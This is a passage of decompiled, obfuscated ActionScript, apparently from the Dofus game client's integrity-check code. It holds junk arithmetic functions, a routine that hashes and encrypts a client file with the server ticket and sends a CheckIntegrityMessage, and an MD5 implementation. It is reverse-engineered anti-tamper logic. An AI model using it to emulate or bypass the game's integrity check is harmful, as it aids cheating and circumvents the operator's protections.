                                            _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG ^ 20969));
                                            _SMELMLEOMG = (_SMELMLEOMG + (_local_4 + -29817));
                                        };
                                        _local_6++;
                                    };
                                };
                                _local_5++;
                            };
                            _SMELMLEOMG = (_SMELMLEOMG ^ (_local_3 ^ -49270));
                            _local_4++;
                        };
                    };
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SOIHEODHGI(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -25016;
                var _local_4 = -41146;
                if (_arg_2 == 0){
                    _SMELMLEOMG = -29063;
                };
                _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 + 21648));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                for (;_local_3 < -25015;_local_3++) {
                    _SMELMLEOMG = (_SMELMLEOMG - (_arg_1 ^ -37644));
                    if (((((_SELIOIHOEDL((_SMELMLEOMG ^ 8406), (_arg_2 + 1)) % 74) < (_SOILEIMMEI((_arg_1 - 25210), (_arg_2 + 1)) % 94))) || (((_SMWMMHIEOM((_local_3 ^ -43), (_arg_2 + 1)) % -102) >= (_SELWOWHMLML((_SMELMLEOMG - 3498), (_arg_2 + 1)) % -47))))){
                        if (((_SOILEIMMEI((_local_3 + -17179), (_arg_2 + 1)) % -8) >= (_SMWMMHIEOM((_local_3 - 3704), (_arg_2 + 1)) % -123))){
                            _SMELMLEOMG = (_SMELMLEOMG ^ (_local_3 - 39171));
                            if (((_SEGMHMIIMXX((_SMELMLEOMG + 43007), (_arg_2 + 1)) % 17) == (_SOIHEODHGI((_arg_1 + -23415), (_arg_2 + 1)) % 13))) continue;
                            _SMELMLEOMG = (_SMELMLEOMG + (_local_3 + -43565));
                        };
                        _SMELMLEOMG = (_SMELMLEOMG - (_local_3 + -27727));
                    }
                    else {
                        if (((_SMWMMHIEOM((_local_3 + -40537), (_arg_2 + 1)) % -7) < (_SELWOWHMLML((_local_3 ^ 7343), (_arg_2 + 1)) % -6))){
                            if (((_SEMXXIXOHDI((_SMELMLEOMG + -45591), (_arg_2 + 1)) % -90) > (_SHXHIMXIGO((_local_3 + 42249), (_arg_2 + 1)) % 42))){
                                _SMELMLEOMG = (_SMELMLEOMG - (_local_3 - 19575));
                            }
                            else {
                                _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG + -4458));
                            };
                            _SMELMLEOMG = (_SMELMLEOMG - (_local_3 ^ -2670));
                        }
                        else {
                            while (_local_4 < -41145) {
                                _SMELMLEOMG = (_SMELMLEOMG + (_local_3 - 20945));
                                if (!((((((_SELIOIHOEDL((_local_4 ^ -31743), (_arg_2 + 1)) % 20) > (_SHXHIMXIGO((_local_4 - -32909), (_arg_2 + 1)) % 124))) && (((_SHXHIMXIGO((_SMELMLEOMG ^ 48352), (_arg_2 + 1)) % 4) < (_SEMXXIXOHDI((_SMELMLEOMG - -23924), (_arg_2 + 1)) % 49))))) && (((_SOIHEODHGI((_local_3 + -35656), (_arg_2 + 1)) % 66) > (_SEGMHMIIMXX((_local_3 - -27914), (_arg_2 + 1)) % -23))))){
                                    _SMELMLEOMG = (_SMELMLEOMG + (_local_4 - -37924));
                                    _SMELMLEOMG = (_SMELMLEOMG - (_arg_1 ^ -46478));
                                };
                                _local_4++;
                            };
                            _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG + 1438));
                        };
                    };
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SHXHIMXIGO(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = 24908;
                if (_arg_2 == 0){
                    _SMELMLEOMG = -7587;
                };
                _SMELMLEOMG = (_SMELMLEOMG + (_arg_1 ^ 7206));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < 24911) {
                    _SMELMLEOMG = (_SMELMLEOMG - (_arg_1 + -12444));
                    if (((((((_SEGMHMIIMXX((_SMELMLEOMG + -44646), (_arg_2 + 1)) % -66) == (_SEGMHMIIMXX((_SMELMLEOMG - -27428), (_arg_2 + 1)) % -53))) || (((((_SLGIEIEGEM((_local_3 + -4109), (_arg_2 + 1)) % 33) < (_SOIHEODHGI((_SMELMLEOMG ^ 4151), (_arg_2 + 1)) % -55))) && (((_SMWMMHIEOM((_SMELMLEOMG - 10413), (_arg_2 + 1)) % -113) == (_SMWMMHIEOM((_SMELMLEOMG + 29979), (_arg_2 + 1)) % -90))))))) || (((_SEMXXIXOHDI((_arg_1 - -1444), (_arg_2 + 1)) % -55) <= (_SELIOIHOEDL((_local_3 - -28073), (_arg_2 + 1)) % 24))))){
                    };
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SLGIEIEGEM(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -48663;
                if (_arg_2 == 0){
                    _SMELMLEOMG = -25894;
                };
                _SMELMLEOMG = (_SMELMLEOMG + (_arg_1 - 3454));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < -48660) {
                    _SMELMLEOMG = (_SMELMLEOMG - (_local_3 - -47418));
                    if (((_SELIOIHOEDL((_SMELMLEOMG - 48259), (_arg_2 + 1)) % -59) <= (_SOILEIMMEI((_SMELMLEOMG ^ -18583), (_arg_2 + 1)) % 49))) break;
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SELWOWHMLML(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -36800;
                if (_arg_2 == 0){
                    _SMELMLEOMG = -12369;
                };
                _SMELMLEOMG = (_SMELMLEOMG + (_arg_1 - -25201));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < -36797) {
                    _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 - 35921));
                    if (((((((_SHMHXLMXGD((_local_3 - -42660), (_arg_2 + 1)) % -77) > (_SELIOIHOEDL((_arg_1 + -662), (_arg_2 + 1)) % 33))) || (((_SHXHIMXIGO((_SMELMLEOMG - 25438), (_arg_2 + 1)) % -44) >= (_SHMHXLMXGD((_arg_1 + -11202), (_arg_2 + 1)) % 116))))) || (((((_SELIOIHOEDL((_SMELMLEOMG + 31696), (_arg_2 + 1)) % 46) == (_SOILEIMMEI((_local_3 + 11121), (_arg_2 + 1)) % 49))) && (((_SEGMHMIIMXX((_local_3 ^ 10385), (_arg_2 + 1)) % -126) >= (_SHXHIMXIGO((_local_3 + -7410), (_arg_2 + 1)) % -125))))))){
                        _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 - 8942));
                    };
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SELIOIHOEDL(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -15399;
                var _local_4 = 46650;
                var _local_5 = -24452;
                var _local_6 = -7131;
                var _local_7 = 23246;
                if (_arg_2 == 0){
                    _SMELMLEOMG = 48241;
                };
                _SMELMLEOMG = (_SMELMLEOMG - (_arg_1 ^ -34111));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < -15397) {
                    _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG + -4812));
                    if (((_SELIOIHOEDL((_SMELMLEOMG ^ 28657), (_arg_2 + 1)) % 106) <= (_SEMXXIXOHDI((_arg_1 - -8413), (_arg_2 + 1)) % -18))){
                        while (_local_4 < 46651) {
                            _SMELMLEOMG = (_SMELMLEOMG - (_local_4 + -49291));
                            if (((_SELWOWHMLML((_local_4 ^ -31344), (_arg_2 + 1)) % 12) == (_SELIOIHOEDL((_SMELMLEOMG + 46216), (_arg_2 + 1)) % 29))) break;
                            _local_4++;
                        };
                        for (;_local_5 < -24451;_local_5++) {
                            _SMELMLEOMG = (_SMELMLEOMG + (_local_3 + 29919));
                            if (((((_SEGMHMIIMXX((_local_3 ^ -35393), (_arg_2 + 1)) % 86) < (_SHMHXLMXGD((_SMELMLEOMG - -25167), (_arg_2 + 1)) % 127))) || (((_SEMXXIXOHDI((_SMELMLEOMG + -45506), (_arg_2 + 1)) % 36) > (_SHMHXLMXGD((_arg_1 + 32884), (_arg_2 + 1)) % 93))))){
                                if (((_SOIHEODHGI((_arg_1 ^ 30786), (_arg_2 + 1)) % -120) == (_SOIHEODHGI((_SMELMLEOMG ^ 35651), (_arg_2 + 1)) % 49))) continue;
                                while (_local_6 < -7129) {
                                    _SMELMLEOMG = (_SMELMLEOMG + (_local_5 - -37400));
                                    if (((_SELIOIHOEDL((_local_6 ^ 45375), (_arg_2 + 1)) % 22) <= (_SLGIEIEGEM((_local_6 - -23070), (_arg_2 + 1)) % -111))){
                                    };
                                    _local_6++;
                                };
                                _SMELMLEOMG = (_SMELMLEOMG + (_local_3 + 865));
                                _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG ^ -3154));
                            }
                            else {
                                _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG - -14909));
                                _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG - 36201));
                            };
                        };
                    }
                    else {
                        if (((((_SOIHEODHGI((_SMELMLEOMG + -3610), (_arg_2 + 1)) % -59) >= (_SHXHIMXIGO((_SMELMLEOMG ^ -39577), (_arg_2 + 1)) % 66))) && (((_SOILEIMMEI((_SMELMLEOMG + 37405), (_arg_2 + 1)) % -63) >= (_SHXHIMXIGO((_local_3 - 29434), (_arg_2 + 1)) % 31))))){
                            if (((_SOIHEODHGI((_SMELMLEOMG + -11469), (_arg_2 + 1)) % 128) > (_SELIOIHOEDL((_arg_1 + 10706), (_arg_2 + 1)) % 114))){
                                while (_local_7 < 23248) {
                                    _SMELMLEOMG = (_SMELMLEOMG ^ (_local_3 + -30069));
                                    if (((_SHXHIMXIGO((_arg_1 + -22934), (_arg_2 + 1)) % 62) == (_SEGMHMIIMXX((_arg_1 + 37341), (_arg_2 + 1)) % 15))){
                                    };
                                    _local_7++;
                                };
                            };
                            if (((_SLGIEIEGEM((_SMELMLEOMG - 24916), (_arg_2 + 1)) % -124) < (_SHMHXLMXGD((_arg_1 ^ -33558), (_arg_2 + 1)) % -3))){
                                _SMELMLEOMG = (_SMELMLEOMG ^ (_SMELMLEOMG - -22077));
                                _SMELMLEOMG = (_SMELMLEOMG - (_local_3 ^ -842));
                            };
                        };
                    };
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
            private static function _SOILEIMMEI(_arg_1:int, _arg_2:int=0):int
            {
                var _local_3 = -15706;
                var _local_4 = -49400;
                var _local_5 = -8298;
                var _local_6 = 28660;
                var _local_7 = -14754;
                if (_arg_2 == 0){
                    _SMELMLEOMG = 24628;
                };
                _SMELMLEOMG = (_SMELMLEOMG - (_SMELMLEOMG ^ -25918));
                if (_arg_2 == 3){
                    return (_SMELMLEOMG);
                };
                while (_local_3 < -15703) {
                    _SMELMLEOMG = (_SMELMLEOMG + (_local_3 - -34822));
                    if (((_SOIHEODHGI((_local_3 + -18929), (_arg_2 + 1)) % 81) == (_SOILEIMMEI((_local_3 - 12991), (_arg_2 + 1)) % 120))){
                        while (_local_4 < -49398) {
                            _SMELMLEOMG = (_SMELMLEOMG - (_local_3 ^ -2812));
                            if (((_SHXHIMXIGO((_arg_1 ^ -4129), (_arg_2 + 1)) % -39) >= (_SHXHIMXIGO((_local_4 - -16454), (_arg_2 + 1)) % -16))){
                                while (_local_5 < -8296) {
                                    _SMELMLEOMG = (_SMELMLEOMG - (_local_4 - 26156));
                                    if (((((_SHMHXLMXGD((_local_3 ^ -42384), (_arg_2 + 1)) % 76) >= (_SHXHIMXIGO((_local_4 ^ 36243), (_arg_2 + 1)) % -24))) || (((_SOILEIMMEI((_local_4 + -38767), (_arg_2 + 1)) % 123) == (_SEMXXIXOHDI((_local_4 - -47627), (_arg_2 + 1)) % -123))))){
                                        while (_local_6 < 28661) {
                                            _SMELMLEOMG = (_SMELMLEOMG + (_local_6 - 8628));
                                            if (((_SHMHXLMXGD((_local_4 + 45982), (_arg_2 + 1)) % -33) < (_SOILEIMMEI((_local_5 - 38453), (_arg_2 + 1)) % 104))){
                                                while (_local_7 < -14752) {
                                                    _SMELMLEOMG = (_SMELMLEOMG + (_SMELMLEOMG ^ -4490));
                                                    if (((_SELIOIHOEDL((_SMELMLEOMG - -21477), (_arg_2 + 1)) % -40) <= (_SELWOWHMLML((_local_3 - -27101), (_arg_2 + 1)) % -68))){
                                                        _SMELMLEOMG = (_SMELMLEOMG ^ (_local_6 ^ 1133));
                                                    }
                                                    else {
                                                        break;
                                                    };
                                                    _local_7++;
                                                };
                                            };
                                            _local_6++;
                                        };
                                    }
                                    else {
                                        if (((((_SOIHEODHGI((_local_3 ^ -49895), (_arg_2 + 1)) % -35) == (_SHXHIMXIGO((_SMELMLEOMG + -28159), (_arg_2 + 1)) % 124))) || (((((((_SHXHIMXIGO((_local_4 - 45927), (_arg_2 + 1)) % 25) < (_SELIOIHOEDL((_local_3 + -21376), (_arg_2 + 1)) % 11))) && (((_SELIOIHOEDL((_local_3 ^ -10039), (_arg_2 + 1)) % -9) < (_SHXHIMXIGO((_arg_1 - 27783), (_arg_2 + 1)) % -39))))) && (((_SEMXXIXOHDI((_local_4 ^ -10982), (_arg_2 + 1)) % 16) > (_SELWOWHMLML((_local_4 ^ -28200), (_arg_2 + 1)) % 3))))))){
                                        };
                                    };
                                    _local_5++;
                                };
                                break;
                            };
                            _SMELMLEOMG = (_SMELMLEOMG ^ (_arg_1 - -23793));
                            _local_4++;
                        };
                    }
                    else {
                        _SMELMLEOMG = (_SMELMLEOMG ^ (_SMELMLEOMG ^ 31967));
                    };
                    _local_3++;
                };
                return (_SMELMLEOMG);
            }
    
    
            public function addCryptedHash(_arg_1:ByteArray):void
            {
                var _local_5:Object;
                var _local_6:ByteArray;
                if (!this._hashKey){
                    _local_5 = getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302791));
                    _local_6 = new ByteArray();
                    var _local_7 = _local_6;
                    (_local_7["writeUTF"](((_local_5["getInstance"]()["gameServerTicket"]) ? _local_5["getInstance"]()["gameServerTicket"] : "")));
                    this._hashKey = _SOWDILIEOL["hash"](_local_6);
                };
                var _local_2:ByteArray = new ByteArray();
                _local_7 = _local_2;
                (_local_7["writeBytes"](_SOWDILIEOL["hash"](_arg_1)));
                _local_2["position"] = 0;
                var _local_3:_SEWEGXWIEEM = new _SEWEGXWIEEM();
                var _local_4:_SDIDIWOHGD = new _SDIDIWOHGD(new _SDXGEILDEDH(new _SELMGXIGHEE(this._hashKey), _local_3));
                _local_7 = _local_3;
                (_local_7["setBlockSize"](_local_4["getBlockSize"]()));
                _local_7 = _local_4;
                (_local_7["encrypt"](_local_2));
                _arg_1["position"] = _arg_1["length"];
                _local_7 = _arg_1;
                (_local_7["writeBytes"](_local_2));
            }
    
            public function sendTicket():void
            {
                var _local_18:int;
                var _local_1:String = _SafeStr_2._SafeStr_7(-1820302791);
                if (!ApplicationDomain["currentDomain"]["hasDefinition"](_local_1)){
                    return;
                };
                var _local_2:Object = getDefinitionByName(_local_1);
                var _local_3:Class = (getDefinitionByName("com.ankamagames.dofus.network.messages.security::CheckIntegrityMessage") as Class);
                var _local_4:Object = getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302785));
                var _local_5:Object = getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302793));
                var _local_6:Object = getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302809));
                var _local_7:Object = getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302811));
                var _local_8:* = new (_local_5)(_local_5["applicationDirectory"]["resolvePath"](_SafeStr_2._SafeStr_7(-1820302794)));
                var _local_9:* = new (_local_7)();
                var _local_10:ByteArray = new ByteArray();
                var _local_19 = _local_9;
                (_local_19["open"](_local_8, _local_6["READ"]));
                _local_19 = _local_9;
                (_local_19["readBytes"](_local_10));
                _local_19 = _local_9;
                (_local_19["close"]());
                var _local_11:* = new (getDefinitionByName("flash.utils.ByteArray"))();
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SOILEIMMEI(930) ^ 31980) ^ this._SEDILIXWLEM)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SHXHIMXIGO(143) + 32693) ^ this._SEGHOOIXMII)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((-23964426 - _SEMXXIXOHDI(-984)) ^ this._SEGHOOIXMII)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SHXHIMXIGO(-641) + 32687) ^ this._SEDOWXHIOI)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SOILEIMMEI(759) ^ -31920) ^ this._SEHWXMOEMME)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SEMXXIXOHDI(248) + 23964180) ^ this._SEXIIXLELWH)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SMWMMHIEOM(-820) + -76504) ^ this._SHMLDDMIXO)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SOIHEODHGI(774) ^ 94102) ^ this._SEIIXGEHIHD)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SHXHIMXIGO(-746) ^ -32794) ^ this._SHMLDDMIXO)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((-346033 - _SMWMMHIEOM(-766)) ^ this._SEHLOLGXIMH)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((-32870 - _SHXHIMXIGO(659)) ^ this._SEGHOOIXMII)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SELWOWHMLML(-552) + -42244) ^ this._SDGHWHWGOG)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SHXHIMXIGO(-467) ^ 32786) ^ this._SLOXEIDMD)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SOILEIMMEI(855) + -32000) ^ this._SEXIIXLELWH)));
                _local_19 = _local_11;
                (_local_19["writeByte"](((_SOIHEODHGI(-495) + -94121) ^ this._SEXIIXLELWH)));
                var _local_12:_SEWEGXWIEEM = new _SEWEGXWIEEM();
                var _local_13:_SDIDIWOHGD = new _SDIDIWOHGD(new _SDXGEILDEDH(new _SELMGXIGHEE(_local_11), _local_12));
                var _local_14:ByteArray = new (getDefinitionByName("flash.utils.ByteArray"))();
                _local_19 = _local_14;
                (_local_19["writeUTF"](((_local_2["getInstance"]()["gameServerTicket"]) ? _local_2["getInstance"]()["gameServerTicket"] : "")));
                _local_19 = _local_14;
                (_local_19["writeBytes"](getDefinitionByName((_SafeStr_2._SafeStr_7(-1820302815) + "D5"))["hash"](_local_10)));
                _local_19 = _local_12;
                (_local_19["setBlockSize"](_local_13["getBlockSize"]()));
                _local_19 = _local_13;
                (_local_19["decrypt"](_local_14));
                var _local_15:Vector.<int> = new Vector.<int>();
                _local_14["position"] = 0;
                var _local_16:uint;
                while (_local_14["bytesAvailable"] != 0) {
                    _local_18 = _local_14["readByte"]();
                    _local_15[_local_16] = _local_18;
                    _local_16++;
                };
                getDefinitionByName(_SafeStr_2._SafeStr_7(-1820302802))["HASH_FUNCTION"] = this.addCryptedHash;
                var _local_17:* = new (_local_3)();
                _local_19 = _local_17;
                (_local_19["initCheckIntegrityMessage"](_local_15));
                _local_19 = _local_4["getConnection"]();
                (_local_19["send"](_local_17));
            }
    
    
        }
    }//package 
    
    import flash.utils.ByteArray;
    import flash.text.Font;
    import flash.system.*;
    import flash.net.*;
    import flash.text.*;
    import flash.utils.*;
    
    namespace bi_internal = "http://crypto.hurlant.com/BigInteger";
    class _SOWDILIEOL 
    {
    
    
        public static function hash(_arg_1:ByteArray):ByteArray
        {
            var _local_2:uint = (_arg_1.length * 8);
            var _local_3:String = _arg_1.endian;
            while ((_arg_1.length % 4) != 0) {
                _arg_1[_arg_1.length] = 0;
            };
            _arg_1.position = 0;
            var _local_4:Array = [];
            _arg_1.endian = Endian.LITTLE_ENDIAN;
            var _local_5:uint;
            while (_local_5 < _arg_1.length) {
                _local_4.push(_arg_1.readUnsignedInt());
                _local_5 = (_local_5 + 4);
            };
            var _local_6:Array = core_md5(_local_4, _local_2);
            var _local_7:ByteArray = new ByteArray();
            _local_7.endian = Endian.LITTLE_ENDIAN;
            _local_5 = 0;
            while (_local_5 < 4) {
                _local_7.writeUnsignedInt(_local_6[_local_5]);
                _local_5++;
            };
            _arg_1.length = (_local_2 / 8);
            _arg_1.endian = _local_3;
            return (_local_7);
        }
    
        /*private*/ static function core_md5(_arg_1:Array, _arg_2:uint):Array
        {
            var _local_8:uint;
            var _local_9:uint;
            var _local_10:uint;
            var _local_11:uint;
            _arg_1[(_arg_2 >> 5)] = (_arg_1[(_arg_2 >> 5)] | (128 << (_arg_2 % 32)));
            _arg_1[((((_arg_2 + 64) >>> 9) << 4) + 14)] = _arg_2;
            var _local_3:uint = 1732584193;
            var _local_4:uint = 4023233417;
            var _local_5:uint = 2562383102;
            var _local_6:uint = 271733878;
            var _local_7:uint;
            while (_local_7 < _arg_1.length) {
                _arg_1[_local_7] = ((_arg_1[_local_7]) || (0));
                _arg_1[(_local_7 + 1)] = ((_arg_1[(_local_7 + 1)]) || (0));
                _arg_1[(_local_7 + 2)] = ((_arg_1[(_local_7 + 2)]) || (0));
                _arg_1[(_local_7 + 3)] = ((_arg_1[(_local_7 + 3)]) || (0));
                _arg_1[(_local_7 + 4)] = ((_arg_1[(_local_7 + 4)]) || (0));
                _arg_1[(_local_7 + 5)] = ((_arg_1[(_local_7 + 5)]) || (0));
                _arg_1[(_local_7 + 6)] = ((_arg_1[(_local_7 + 6)]) || (0));
                _arg_1[(_local_7 + 7)] = ((_arg_1[(_local_7 + 7)]) || (0));
                _arg_1[(_local_7 + 8)] = ((_arg_1[(_local_7 + 8)]) || (0));
                _arg_1[(_local_7 + 9)] = ((_arg_1[(_local_7 + 9)]) || (0));
                _arg_1[(_local_7 + 10)] = ((_arg_1[(_local_7 + 10)]) || (0));
                _arg_1[(_local_7 + 11)] = ((_arg_1[(_local_7 + 11)]) || (0));
                _arg_1[(_local_7 + 12)] = ((_arg_1[(_local_7 + 12)]) || (0));
                _arg_1[(_local_7 + 13)] = ((_arg_1[(_local_7 + 13)]) || (0));
                _arg_1[(_local_7 + 14)] = ((_arg_1[(_local_7 + 14)]) || (0));
                _arg_1[(_local_7 + 15)] = ((_arg_1[(_local_7 + 15)]) || (0));
                _local_8 = _local_3;
                _local_9 = _local_4;
                _local_10 = _local_5;
                _local_11 = _local_6;
                _local_3 = ff(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 0)], 7, 3614090360);
                _local_6 = ff(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 1)], 12, 3905402710);
                _local_5 = ff(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 2)], 17, 606105819);
                _local_4 = ff(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 3)], 22, 3250441966);
                _local_3 = ff(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 4)], 7, 4118548399);
                _local_6 = ff(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 5)], 12, 1200080426);
                _local_5 = ff(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 6)], 17, 2821735955);
                _local_4 = ff(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 7)], 22, 4249261313);
                _local_3 = ff(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 8)], 7, 1770035416);
                _local_6 = ff(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 9)], 12, 2336552879);
                _local_5 = ff(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 10)], 17, 0xFFFF5BB1);
                _local_4 = ff(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 11)], 22, 2304563134);
                _local_3 = ff(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 12)], 7, 1804603682);
                _local_6 = ff(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 13)], 12, 4254626195);
                _local_5 = ff(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 14)], 17, 2792965006);
                _local_4 = ff(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 15)], 22, 1236535329);
                _local_3 = gg(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 1)], 5, 4129170786);
                _local_6 = gg(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 6)], 9, 3225465664);
                _local_5 = gg(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 11)], 14, 643717713);
                _local_4 = gg(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 0)], 20, 3921069994);
                _local_3 = gg(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 5)], 5, 3593408605);
                _local_6 = gg(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 10)], 9, 38016083);
                _local_5 = gg(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 15)], 14, 3634488961);
                _local_4 = gg(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 4)], 20, 3889429448);
                _local_3 = gg(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 9)], 5, 568446438);
                _local_6 = gg(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 14)], 9, 3275163606);
                _local_5 = gg(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 3)], 14, 4107603335);
                _local_4 = gg(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 8)], 20, 1163531501);
                _local_3 = gg(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 13)], 5, 2850285829);
                _local_6 = gg(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 2)], 9, 4243563512);
                _local_5 = gg(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 7)], 14, 1735328473);
                _local_4 = gg(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 12)], 20, 2368359562);
                _local_3 = hh(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 5)], 4, 4294588738);
                _local_6 = hh(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 8)], 11, 2272392833);
                _local_5 = hh(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 11)], 16, 1839030562);
                _local_4 = hh(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 14)], 23, 4259657740);
                _local_3 = hh(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 1)], 4, 2763975236);
                _local_6 = hh(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 4)], 11, 1272893353);
                _local_5 = hh(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 7)], 16, 4139469664);
                _local_4 = hh(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 10)], 23, 3200236656);
                _local_3 = hh(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 13)], 4, 681279174);
                _local_6 = hh(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 0)], 11, 3936430074);
                _local_5 = hh(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 3)], 16, 3572445317);
                _local_4 = hh(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 6)], 23, 76029189);
                _local_3 = hh(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 9)], 4, 3654602809);
                _local_6 = hh(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 12)], 11, 3873151461);
                _local_5 = hh(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 15)], 16, 530742520);
                _local_4 = hh(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 2)], 23, 3299628645);
                _local_3 = ii(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 0)], 6, 4096336452);
                _local_6 = ii(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 7)], 10, 1126891415);
                _local_5 = ii(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 14)], 15, 2878612391);
                _local_4 = ii(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 5)], 21, 4237533241);
                _local_3 = ii(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 12)], 6, 1700485571);
                _local_6 = ii(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 3)], 10, 2399980690);
                _local_5 = ii(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 10)], 15, 4293915773);
                _local_4 = ii(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 1)], 21, 2240044497);
                _local_3 = ii(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 8)], 6, 1873313359);
                _local_6 = ii(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 15)], 10, 4264355552);
                _local_5 = ii(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 6)], 15, 2734768916);
                _local_4 = ii(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 13)], 21, 1309151649);
                _local_3 = ii(_local_3, _local_4, _local_5, _local_6, _arg_1[(_local_7 + 4)], 6, 4149444226);
                _local_6 = ii(_local_6, _local_3, _local_4, _local_5, _arg_1[(_local_7 + 11)], 10, 3174756917);
                _local_5 = ii(_local_5, _local_6, _local_3, _local_4, _arg_1[(_local_7 + 2)], 15, 718787259);
                _local_4 = ii(_local_4, _local_5, _local_6, _local_3, _arg_1[(_local_7 + 9)], 21, 3951481745);
                _local_3 = (_local_3 + _local_8);
                _local_4 = (_local_4 + _local_9);
                _local_5 = (_local_5 + _local_10);
                _local_6 = (_local_6 + _local_11);
                _local_7 = (_local_7 + 16);
            };
